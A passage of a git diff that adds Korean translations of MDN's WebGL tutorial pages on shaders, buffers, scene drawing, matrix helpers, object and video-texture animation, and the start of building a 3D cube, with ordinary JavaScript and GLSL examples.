+<p>이 방식을 통해 로딩되는 쉐이더는 두가지가 있습니다. 첫번째는 조각 쉐이더(fragment shader)로 "shader-fs"라는 ID를 가진 script 엘리먼트에서 불러옵니다. 두번째는 정점 쉐이더(vertex shader)로 "shader-vs"라는 ID를 가진 script엘리먼트에서 불러옵니다.  getShader()함수는 다음 섹션에서 다룰 것입니다.  이 과정은 쉐이더 프로그램을 DOM에서 가저오는 것을 다룹니다. </p>
+
+<p>그 다음 우리는 WebGL 객체의 createProgram()함수를 호출하여 쉐이더 프로그램을 생성 할 것입니다.  WebGL 객체에 두개의 쉐이더를  붙인다음 서로 연결할 것입니다. 그 다음 프로그램이 성공적으로 연결되었는지 확인하기 위해 gl 객체의 LINK_STATUS 매개변수를 체크합니다. 이것이 성공적이라면 새로운 쉐이더 프로그램을 활성화 합니다.</p>
+
+<h3 id="DOM에서_쉐이더_불러오기">DOM에서 쉐이더 불러오기</h3>
+
+<p>getShader()함수는 DOM에서 지정된 이름을 가진 쉐이더 프로그램을 가져와 컴파일된 쉐이더 프로그램을 호출자에 반환 합니다. 컴파일이나 불러올 수 없는 경우에는 null을 반환 합니다.</p>
+
+<pre class="brush: js">function getShader(gl, id) {
+ var shaderScript, theSource, currentChild, shader;
+
+  shaderScript = document.getElementById(id);
+
+  if (!shaderScript) {
+    return null;
+  }
+
+  theSource = "";
+  currentChild = shaderScript.firstChild;
+
+  while(currentChild) {
+    if (currentChild.nodeType == currentChild.TEXT_NODE) {
+     theSource += currentChild.textContent;
+    }
+
+ currentChild = currentChild.nextSibling;
+  }
+</pre>
+
+<p>특정 ID를 가진 엘리먼트를 찾으면 텍스트 컨텐츠가 <code>theSource 변수에 저장됩니다.</code></p>
+
+<pre class="brush: js"> if (shaderScript.type == "x-shader/x-fragment") {
+  shader = gl.createShader(gl.FRAGMENT_SHADER);
+  } else if (shaderScript.type == "x-shader/x-vertex") {
+    shader = gl.createShader(gl.VERTEX_SHADER);
+  } else {
+   // Unknown shader type
+     return null;
+  }</pre>
+
+<p>쉐이더를 위한 코드가 읽혀지면 쉐이더가 정점 쉐이더(MIME type "x-shader/x-vertex")인지 조각 쉐이더(MIME type "x-shader/x-fragment")인지 결정하기 위해 쉐이더 객체의 MIME 형식을 살펴봅니다. 그 다음 소스 코드에서 얻어진 것을 가지고 적절한 타입의 쉐이더를 생성합니다.</p>
+
+<pre class="brush: js"> gl.shaderSource(shader, theSource);
+
+  // Compile the shader program
+  gl.compileShader(shader);
+
+  // See if it compiled successfully
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+      alert("An error occurred compiling the shaders: " + gl.getShaderInfoLog(shader));
+      return null;
+  }
+
+  return shader;
+}
+</pre>
+
+<div><span style="font-size: 14px; line-height: 1.5;">마지막으로 소스는 쉐이더로 전달되고 컴파일됩니다. 만약 쉐이더가 컴파일하는 동안 에러가 발생하면 경고 메세지를 출력하고 null을 반환합니다. 그러지 않으면 새롭게 컴파일된 쉐이더가 호출자로 반환됩니다.</span></div>
+
+<div> </div>
+
+<h3 id="쉐이더">쉐이더</h3>
+
+<div>그 다음 쉐이더 프로그램을 HTML 표현에 추가해야 합니다. 쉐이더가 구체적으로 어떻게 작동하는지에 대한 내용은 이 문서에서 다루지 않습니다. 다음은 쉐이더 언어 문법입니다.</div>
+
+<div> </div>
+
+<h4 id="조각_쉐이더(Fragment_shader)">조각 쉐이더(Fragment shader)</h4>
+
+<p><span style="font-size: 14px; line-height: 1.5;">다각형 안에 있는 각각의 픽셀은 GL 전문용어로<strong> fragment</strong>이라고 부릅니다. fragment shader가 하는 일은 각 픽셀의 색상을 설정하는 것입니다. 우리는 간단하게 각 픽셀을 하얀색으로 지정하겠습니다.</span></p>
+
+<p>fragment의 색상에서 사용되는 gl_FragColor는 GL에서 만들어진 변수입니다. 아래와 같이 값을 설정하면 픽셀의 색상이 설정됩니다.</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+
+ void main(void) {
+
+ gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+
+ }
+
+&lt;/script&gt;</pre>
+
+<div> </div>
+
+<h4 id="정점_쉐이더(Vertex_Shader)">정점 쉐이더(Vertex Shader)</h4>
+
+<p>정점 쉐이더는 각 정점의 위치과 모양을 정의합니다.</p>
+
+<pre class="brush: html language-html"><code class="language-html"><span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>shader-vs<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>x-shader/x-vertex<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ attribute vec3 aVertexPosition<span class="punctuation token">;</span>
+
+ uniform mat4 uMVMatrix<span class="punctuation token">;</span>
+ uniform mat4 uPMatrix<span class="punctuation token">;</span>
+
+ <span class="keyword token">void</span> <span class="function token">main<span class="punctuation token">(</span></span><span class="keyword token">void</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ gl_Position <span class="operator token">=</span> uPMatrix <span class="operator token">*</span> uMVMatrix <span class="operator token">*</span> <span class="function token">vec4<span class="punctuation token">(</span></span>aVertexPosition<span class="punctuation token">,</span> <span class="number token">1.0</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span></code></pre>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="객체_생성">객체 생성</h2>
+
+<p>사각형 렌더링을 하기 전에 사각형의 각 정점들을 저장할 버퍼를 만들어야 합니다. 이를 <strong>initBuffers()</strong>라는 함수를 이용해 해보도록 하겠습니다. 앞으로 고급 WebGL 개념을 살펴보면서, 더욱 다양하고 복잡한 3D 오브젝트를 생성하고자 할 때 이 루틴을 많이 사용하게 될 것입니다.</p>
+
+<pre class="brush: js">var horizAspect = 480.0/640.0;
+
+function initBuffers() {
+ squareVerticesBuffer = gl.createBuffer();
+ gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+
+ var vertices = [
+ 1.0, 1.0, 0.0,
+ -1.0, 1.0, 0.0,
+ 1.0, -1.0, 0.0,
+ -1.0, -1.0, 0.0
+ ];
+
+ gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);
+}
+</pre>
+
+<p><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">이 예제에서는 장면(scene)의 기본적인 속성만을 보여주기 위해, 루틴이 다소 지나치게 단순화되어있습니다. 정점들을 저장할 버퍼를 얻기 위해 </span><code style="font-style: normal; font-size: 13.63636302948px; line-height: 19.0909080505371px;">gl</code><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"> </span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">객체의 </span><span style="font-family: courier new,andale mono,monospace; font-size: 13.63636302948px; line-height: 19.0909080505371px;">createBuffer()</span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"> 메서드를 호출하는 것으로 시작합니다. 그 다음 </span><code style="font-style: normal; font-size: 13.63636302948px; line-height: 19.0909080505371px;">bindBuffer()</code><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"> 메서드를 불러와 컨텍스트에 연결합니다.</span></p>
+
+<p>이 과정이 끝난 뒤 사각형의 각 정점 좌표를 담고있는 자바스크립트 배열을 생성합니다. 그런 다음 배열을 WebGL floats 배열로 변환한 뒤 gl객체의 bufferData() 메서드로 전달해 객체의 정점을 설정합니다.</p>
+
+<h2 id="장면(Scene)_그리기">장면(Scene) 그리기</h2>
+
+<p>쉐이더가 설정되고 객체가 생성되면 실제로 장면을 렌더링 할 수 있습니다. 이 예제에서 어떠한 애니메이팅도 안 할 것이기 떄문에 <span style="font-family: courier new,andale mono,monospace; font-size: 13.63636302948px; line-height: 19.0909080505371px;">drawScene()</span>함수는 매우 간단합니다. 이는 우리가 곧 다룰 몇 가지 유용한 루틴만 사용합니다?.</p>
+
+<pre class="brush: js">function drawScene() {
+ gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+ perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+ loadIdentity();
+ mvTranslate([-0.0, 0.0, -6.0]);
+
+ gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+ gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+ setMatrixUniforms();
+ gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
+}
+</pre>
+
+<p>첫번째 과정은 배경색에 컨텍스트를 clear하는 것입니다. 그 다음 카메라의 원근을 설정합니다. 시점을 45°로, 종횡비를 640/480(캔버스의 크기)로 설정합니다. 또한 카메라로부터  0.1에서 100단위 사이에 있는 오브젝트만 렌더링하도록 정합니다.</p>
+
+<p>그런 다음 identity(항등) position을 불러오고 카메라에서 6단위 만큼 translate(변환)하여 사각형의 위치를 정합니다 . 그 다음 사각형 정점 버퍼를 컨텍스트에 연결해 구성한 뒤 <span style="font-family: courier new,andale mono,monospace; font-size: 13.63636302948px; line-height: 19.0909080505371px;">drawArrays()</span> 메서드를 불러와 객체를 그립니다. </p>
+
+<p>브라우저가 웹GL을 지원한다면 다음 링크에서 확인 할 수 있습니다.  <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">try out this demo by clicking here</a></p>
+
+<h2 id="행렬_유틸리티를_이용한_연산">행렬 유틸리티를 이용한 연산</h2>
+
+<p>행렬 연산은 꽤 복잡합니다. 행렬을 다루기 위한 코드를 직접 작성하고 싶은 사람은 아무도 없을 것입니다. 다행히도 벡터와 행렬 연산을 자바스크립트에서 다루는 데 아주 편리한 라이브러리인 <a class="external" href="http://sylvester.jcoglan.com/" style="font-size: 13.63636302948px; line-height: 19.0909080505371px;" title="http://sylvester.jcoglan.com/">Sylvester</a>가 있습니다.</p>
+
+<p>이 데모에서 사용한<span style="font-family: courier new,andale mono,monospace; font-size: 13.63636302948px; line-height: 19.0909080505371px;">glUtils.js</span> 파일은 웹에 떠돌아 다니는 많은 WebGL 데모에서 사용하고 있습니다. 이 파일이 어디서 나온 것인지 명확히 아는 사람은 아무도 없는것 같습니다만, HTML 로 출력하기 위한 메소드 뿐만 아니라 특별한 형태의 행렬을 만들기 위한 메소드를 추가되어 있어   Sylvester를 보다 정말 단순화 시켜놓았습니다.</p>
+
+<p>게다가 이 데모는 특정 작업을 위한 라이브러리를 이용할 때 도움될만한 몇가지 루틴을 정의하고 있습니다.  정확히 이것들이 어떤 일을 하는 것인지는 이 데모에서 다룰 범위는 아닙니다. 하지만 온라인에서 참고할만 한 좋은 레퍼런스가 많이 있습니다. 아래 {{ anch("See also") }} 섹션에 그 중 몇 개를 소개하고 있습니다.</p>
+
+<pre class="brush: js">function loadIdentity() {
+ mvMatrix = Matrix.I(4);
+}
+
+function multMatrix(m) {
+ mvMatrix = mvMatrix.x(m);
+}
+
+function mvTranslate(v) {
+ multMatrix(Matrix.Translation($V([v[0], v[1], v[2]])).ensure4x4());
+}
+
+function setMatrixUniforms() {
+ var pUniform = gl.getUniformLocation(shaderProgram, "uPMatrix");
+ gl.uniformMatrix4fv(pUniform, false, new Float32Array(perspectiveMatrix.flatten()));
+
+ var mvUniform = gl.getUniformLocation(shaderProgram, "uMVMatrix");
+ gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://mathworld.wolfram.com/Matrix.html" title="http://mathworld.wolfram.com/Matrix.html">Matrices</a> on Wolfram MathWorld</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Matrix_(mathematics)" title="http://en.wikipedia.org/wiki/Matrix_(mathematics)">Matrix</a> on Wikipedia</li>
+</ul>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
new file mode 100644
index 0000000000..c8dfcc893d
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
@@ -0,0 +1,125 @@
+---
+title: WebGL을 사용한 객체 애니메이션
+slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+tags:
+ - WebGL
+ - 애니메이션
+ - 회전
+translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
+
+<p>앞 단원에서의 예제 코드는 정지되어 있는 것처럼 보이지만 사실은 15밀리초마다 한 번 씩 WebGL 장면(Scene)을 다시 그리도록 설정되어 있습니다. 그려질 객체의 상태가 계속 똑같기 때문에, 똑같은 객체를 15밀리초마다 계속 다시 그리고 있는 것입니다. 이제 우리가 그린 정사각형을 실제로 움직이게 만들어 보겠습니다.</p>
+
+<p>이번 예제에서는 2차원 정사각형을 3차원으로 회전시키고 이동시켜 보겠습니다. 3차원을 이루는 X, Y, Z축 방향 모두를 중심으로 회전시켜 보면, 우리가 그린 것은 2차원 정사각형이지만 3차원 공간 안에 존재한다는 것을 실감할 수 있을 것 입니다.</p>
+
+<h2 id="정사각형_회전시키기">정사각형 회전시키기</h2>
+
+<p>먼저 정사각형을 회전시켜 보겠습니다. 회전 시키려면 회전 상태(회전량)를 저장할 변수가 필요합니다:</p>
+
+<pre class="brush: js">var squareRotation = 0.0;
+</pre>
+
+<p>이제 <span style="line-height: 16.7999992370605px;">정사각형을 그릴 때 회전을 반영하도록 </span><code>drawScene()</code> 함수를 수정해야 합니다. 정사각형을 처음에 그려질 위치로 이동시키고 나서 다음과 같이 회전을 적용합니다:</p>
+
+<pre class="brush: js">mvPushMatrix();
+mvRotate(squareRotation, [1, 0, 1]);
+</pre>
+
+<p>현재 상태의 모델-뷰 행렬을 저장하고, X축과 Z축을 기준으로 <code>squareRotation</code> 만큼 행렬을 회전시킵니다.</p>
+
+<p>정사각형을 그리고 난 후에 모델-뷰 행렬을 원상태로 복구합니다:</p>
+
+<pre class="brush: js">mvPopMatrix();
+</pre>
+
+<p>모델-뷰 행렬을 복구하는 이유는 이 회전이 다른 객체에 영향을 미치는 것을 예방하기 위해서 입니다.</p>
+
+<p>실제로 애니메이션 효과가 나타나도록 하려면 <code>squareRotation</code> 값을 시간이 지남에 따라 계속 변경해주는 코드를 추가해야 합니다. <code>lastSquareUpdateTime</code>이라는 변수에 마지막으로 다시 그렸던 시각을 저장하고, 다음과 같은 코드를 <code><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">drawScene()</span></code>에 추가합니다: </p>
+
+<pre class="brush: js">var currentTime = (new Date).getTime();
+if (lastSquareUpdateTime) {
+ var delta = currentTime - lastSquareUpdateTime;
+
+ squareRotation += (30 * delta) / 1000.0;
+}
+
+lastSquareUpdateTime = currentTime;
+</pre>
+
+<p>이 코드는 마지막으로 <code>squareRotation</code>의 값을 변경한 시각과 현재 시각과의 차이를 이용해서 회전량을 나타내는 <code>squareRotation</code>의 값을 결정 합니다.</p>
+
+<h2 id="정사각형_이동시키기">정사각형 이동시키기</h2>
+
+<p>정사각형을 그리기 전에 위치값을 변경하면 정사각형을 이동시킬 수 있습니다. 이번 예제에서는 학습을 목적으로 아주 기초적인 애니메이션을 구현해봅니다. 실전에서 이런 식으로 애니메이션을 구현하면 사람들에게 사랑받지 못할 것입니다.</p>
+
+<p>X, Y, Z 각 축별 오프셋(offset) 값을 새 변수에 저장합니다:</p>
+
+<pre class="brush: js">var squareXOffset = 0.0;
+var squareYOffset = 0.0;
+var squareZOffset = 0.0;
+</pre>
+
+<p>축 별 위치 변동값을 다음과 같이 각기 다른 값으로 지정합니다:</p>
+
+<pre class="brush: js">var xIncValue = 0.2;
+var yIncValue = -0.4;
+var zIncValue = 0.3;
+</pre>
+
+<p>이제 위치 변동값을 계산하는 코드를 위에서 구현한 회전량 계산 코드 바로 아래에 추가합니다:</p>
+
+<pre class="brush: js">squareXOffset += xIncValue * ((30 * delta) / 1000.0);
+squareYOffset += yIncValue * ((30 * delta) / 1000.0);
+squareZOffset += zIncValue * ((30 * delta) / 1000.0);
+
+if (Math.abs(squareYOffset) &gt; 2.5) {
+ xIncValue = -xIncValue;
+ yIncValue = -yIncValue;
+ zIncValue = -zIncValue;
+}
+</pre>
+
+<p>마지막으로 다음 코드를 <code>drawScene()</code> 함수에 추가합니다:</p>
+
+<pre class="brush: js">mvTranslate([squareXOffset, squareYOffset, squareZOffset]);</pre>
+
+<p>이제 정사각형이 화면에서 좌, 우, 위, 아래, 앞, 뒤로 완전히 자기멋대로 움직이면서 회전하는 것을 볼 수 있습니다. 어찌보면 바탕화면 보호기 같기도 합니다.</p>
+
+<p>WebGL이 지원되는 브라우저라면, <a href="/samples/webgl/sample4/index.html">여기</a>에서 실제 동작하는 예제를 확인할 수 있습니다.</p>
+
+<h2 id="추가적인_행렬_연산">추가적인 행렬 연산</h2>
+
+<p>아래의 예제는 스택을 사용하는 두 개의 push, pop 루틴과, 주어진 각도만큼 회전시키는 행렬을 포함하는 몇 가지 추가적인 행렬 연산을 사용합니다. 한 번 참고하시기 바랍니다:</p>
+
+<pre class="brush: js">var mvMatrixStack = [];
+
+function mvPushMatrix(m) {
+ if (m) {
+ mvMatrixStack.push(m.dup());
+ mvMatrix = m.dup();
+ } else {
+ mvMatrixStack.push(mvMatrix.dup());
+ }
+}
+
+function mvPopMatrix() {
+ if (!mvMatrixStack.length) {
+ throw("Can't pop from an empty matrix stack.");
+ }
+
+ mvMatrix = mvMatrixStack.pop();
+ return mvMatrix;
+}
+
+function mvRotate(angle, v) {
+ var inRadians = angle * Math.PI / 180.0;
+
+ var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
+ multMatrix(m);
+}
+</pre>
+
+<p>이 루틴은 예전에 <span style="line-height: 16.7999992370605px;">Vlad Vukićević가 작성했던 예제를 참고하여 만들었습니다.</span></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html
new file mode 100644
index 0000000000..723c1318ab
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html
@@ -0,0 +1,117 @@
+---
+title: WebGL에서의 텍스쳐 애니메이션
+slug: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+tags:
+ - Animation
+ - HTML5
+ - Texture
+ - Video
+ - WebGL
+ - 애니메이션
+ - 웹지엘
+ - 텍스쳐
+translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>앞 단원에서는 정적인 텍스쳐를 사용한 예제를 만들어 봤었는데, 이번에는 Ogg 비디오 파일을 이용해서 텍스쳐에 애니메이션 효과를 적용해 보겠습니다. 사실 만들기 상당히 쉽지만, 그래도 보는 재미는 쏠쏠하니까 한 번 만들어 보겠습니다. 텍스쳐를 구성할 소스로 어떤 종류의 데이터(예를 들면 <span style="line-height: 16.7999992370605px;">{{ HTMLElement("canvas") }}와 같은</span>)를 쓰더라도 코드는 비슷할 것입니다.</p>
+
+<h2 id="텍스쳐를_구성할_비디오_로딩">텍스쳐를 구성할 비디오 로딩</h2>
+
+<p>가장 먼저 할 일은 비디오 프레임을 조회하는데 사용할 <span style="line-height: 16.7999992370605px;">{{ HTMLElement("video") }} </span>요소를 생성하는 것입니다:</p>
+
+<pre class="brush: js">&lt;video id="video"&gt;
+  Your browser doesn't appear to support the HTML5 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; element.
+&lt;/video&gt;
+</pre>
+
+<blockquote>
+<p>역자 주 : 실제 예제 소스 코드를 보면 비디오 태그가 위와 같이 id 속성만 있는 것이 아니라 아래와 같이 src 속성과 autoplay 속성도 추가되어 있습니다.</p>
+
+<pre class="brush: js" style="font-size: 14px;">&lt;video id="video" src="Firefox.ogv" autoplay&gt;
+  Your browser doesn't appear to support the HTML5 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; element.
+&lt;/video&gt;
+</pre>
+</blockquote>
+
+<p>위 코드는 <span style="line-height: 16.7999992370605px;">'Firefox.ogv" 비디오 파일을 재생할 </span><span style="line-height: 16.7999992370605px;">{{ HTMLElement("video") }} 요소를 생성합니다. 다음과 같은 CSS 코드를 작성해서 비디오가 자동으로 표시되지 않도록 합니다:</span></p>
+
+<pre class="brush: css">video {
+ display: none;
+}
+</pre>
+
+<p>이제 자바스크립트 코드를 살펴보겠습니다. <code>start()</code> 함수에 비디오 요소에 대한 참조를 가져오는 코드를 추가합니다:</p>
+
+<pre class="brush: js">videoElement = document.getElementById("video");
+</pre>
+
+<p><code>setInterval()</code>을 이용해서 <code>drawScene()</code>을 주기적으로 호출하던 코드를 아래의 코드로 대체합니다:</p>
+
+<pre class="brush: js">videoElement.addEventListener("canplaythrough", startVideo, true);
+videoElement.addEventListener("ended", videoDone, true);
+</pre>
+
+<p><span style="line-height: 16.7999992370605px;">비디오 요소의 src 속성으로 </span>비디오 파일의 위치를 지정해서 비디오 로딩을 시작합니다. FIXME (이 글의 작성자의 한 사람인 bjacob에게) : <code>preload="auto"</code>를 여기에서 명시하지 않으면 파이어폭스에서는 <code>canplaythrough </code>이벤트가 발생되지 않음. 크롬에서는 <code>preload="auto"</code> 지정 여부와 관계없이 비디오 로딩 시작.</p>
+
+<blockquote>
+<p>역자 주 : 예제에 보면 아래와 같이 자바스크립트에서 preload나 src를 명시하지 않고, 위의 역자 주에 있는 것처럼 비디오 태그 내에 속성값으로 기술하고 있으므로, 바로 위 문단과 아래의 코드는 무시해도 좋을 것 같습니다.</p>
+</blockquote>
+
+<pre>video.preload = "auto";
+videoElement.src = "Firefox.ogv";</pre>
+
+<p>비디오 재생 시 끊김이 없도록 충분히 버퍼링 해둔 후에 애니메이션을 시작하는 것이 좋습니다. 전체 비디오가 끊김 없이 재생될 수 있을만큼 충분한 데이터가 버퍼링 된 후에 비디오의 재생이 시작되도록 <span style="line-height: 16.7999992370605px;">아래와 같이 </span><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">canplaythrough </span><span style="line-height: 16.7999992370605px;">이벤트에 대한 리스너인 <code>startVideo()</code>를 추가합니다:</span></p>
+
+<pre class="brush: js">function startVideo() {
+ videoElement.play();
+ intervalID = setInterval(drawScene, 15);
+}
+</pre>
+
+<p>위 코드는 단순히 비디오 재생을 시작하고, 정육면체의 렌더링을 처리하는 <code>drawScene()</code> 함수를 <span style="line-height: 16.7999992370605px;"><code>setInterval()</code> 함수를 이용해서 주기적으로 호출합니다.</span></p>
+
+<p>비디오가 끝날 때 방생하는 <code>ended </code>이벤트에 대한 리스너도 추가해서, 비디오 재생이 끝나면 불필요하게 CPU 시간을 잡아먹지 않도록 애니메이션을 중단시킵니다.</p>
+
+<pre class="brush: js">function videoDone() {
+  clearInterval(intervalID);
+}</pre>
+
+<p><code>videoDone()</code> 함수는 단순히 <span style="line-height: 16.7999992370605px;">{{ domxref("window.clearInterval()") }} 함수를 호출해서 애니메이션을 업데이트하는 <code>drawScene()</code> 함수의 호출을 중단시킵니다.</span></p>
+
+<h2 id="비디오_프레임을_텍스쳐로_사용하기">비디오 프레임을 텍스쳐로 사용하기</h2>
+
+<p>비디오 로딩과 재생에 대한 처리를 마치면, <code>initTexture()</code> 함수의 내용을 변경해야 합니다. 이번에는 이미지를 로딩하는 대신 비어있는 텍스쳐 객체를 생성하고, 텍스쳐 객체를 나중에 사용할 수 있도록 필터링을 설정하기만 하면 되므로, <code>initTexture()</code> 함수의 내용이 앞 단원의 예제보다 <span style="line-height: 16.7999992370605px;">조금 </span>더 간단해집니다: </p>
+
+<pre class="brush: js">function initTextures() {
+ cubeTexture = gl.createTexture();
+ gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+}
+</pre>
+
+<p>가장 중요한 텍스쳐의 업데이트를 담당하는 <code>updateTexture()</code> 함수는 다음과 같습니다:</p>
+
+<pre class="brush: js">function updateTexture() {
+ gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+ gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true);
+ gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, videoElement);
+}
+</pre>
+
+<p>위와 같은 코드를 전에 본 적이 있을 것입니다. <code>texImage2D()</code>를 호출할 때 <code>Image </code>객체를 전달하지 않고 <span style="line-height: 16.7999992370605px;">{{ HTMLElement("video") }} 요소를 전달한다는 것만 제외하면, 앞 단원에서 사용했던 </span><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;"><code>handleTextureLoaded()</code> </span><span style="line-height: 16.7999992370605px;">루틴과 거의 똑같습니다. 현재의 프레임을 추출해서 텍스쳐로 사용하는 것은 WebGL이 알아서 처리합니다.</span></p>
+
+<p><span style="line-height: 16.7999992370605px;"><code>drawScene() </code>함수에는 맨 앞에 </span><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">updateTexture()</span><span style="line-height: 16.7999992370605px;">를 추가합니다. <code>drawScene()</code> 함수에 의해 장면을 다시 그릴 때마다 </span><code style="font-style: normal; line-height: 16.7999992370605px;">updateTexture()</code>이 호출됩니다.</p>
+
+<p>이제 완성입니다! WebGL을 지원하는 브라우저라면 <a href="/samples/webgl/sample8/index.html">여기</a>에서 실제 작동하는 예제를 확인할 수 있습니다.</p>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">파이어폭스에서 audio와 video 사용하기</a></li>
+</ul>
+
+<p>{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
new file mode 100644
index 0000000000..e4d3cf991f
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
@@ -0,0 +1,132 @@
+---
+title: WebGL로 3D 객체 만들기
+slug: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+tags:
+ - 3D
+ - 3차원
+ - WebGL
+ - 입체
+translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
+
+<p>이제 우리가 만든 정사각형에 5개의 면을 더해서 3차원 정육면체를 만들어 보겠습니다. 이 작업을 조금 더 효율적으로 하기 위해서 <code>drawArray()</code> 메서드를 호출해서 정점을 직접 핸들링하는 대신에, 정점 배열을 인덱스와 값으로 정의된 테이블이라고 생각하고, 각 정점을 인덱스로 참조해서 정육면체 각 면의 정점 위치를 정의하고 <code>gl.drawElements()</code>를 호출해서 그려보겠습니다.</p>
+
+<p>고려 사항 : 정육면체의 각 면은 4개의 정점이 필요하고, 정육면체에는 6개의 면이 있으므로 총 24개의 정점이 필요할 것 같지만, 하나의 정점이 세 개의 면에 공통적으로 사용되므로 실제로는 8개의 정점만 있으면 됩니다. 그리고 이 8개의 정점 각각에 인덱스 번호를 매겨서 참조하면 한 개의 정점을 세 개의 면에 재사용할 수 있습니다. 하지만 이번 예제에서는 8개가 아니라 24개의 정점을 사용하는데, 그 이유는 한 꼭지점에서 만나는 세 개의 면마다 다른 색상을 적용할 것이기 때문입니다. 하나의 정점은 한 개의 색상만을 가질 수 있으므로, 세 개의 색상을 표시하려면 세 개의 정점이 필요합니다. 따라서 <span style="line-height: 16.7999992370605px;">기하학적으로는 하나의 꼭지점일지라도 </span>세 개의 색상을 표시하기 위해서는 세 개의 정점이 필요 합니다.</p>
+
+<h2 id="정육면체의_정점_위치_정의">정육면체의 정점 위치 정의</h2>
+
+<p>먼저 <code>initBuffers()</code> 내부에 있는 코드를 수정해서 정육면체의 정점 버퍼를 만듭니다. 방식은 정사각형을 그릴 때와 거의 비슷하지만, 정점의 수는 하나의 면에 4개 씩, 총 24개로 정사각형보다 더 많습니다:</p>
+
+<pre class="brush: js">var vertices = [
+ // 앞면(Front face)
+ -1.0, -1.0, 1.0,
+ 1.0, -1.0, 1.0,
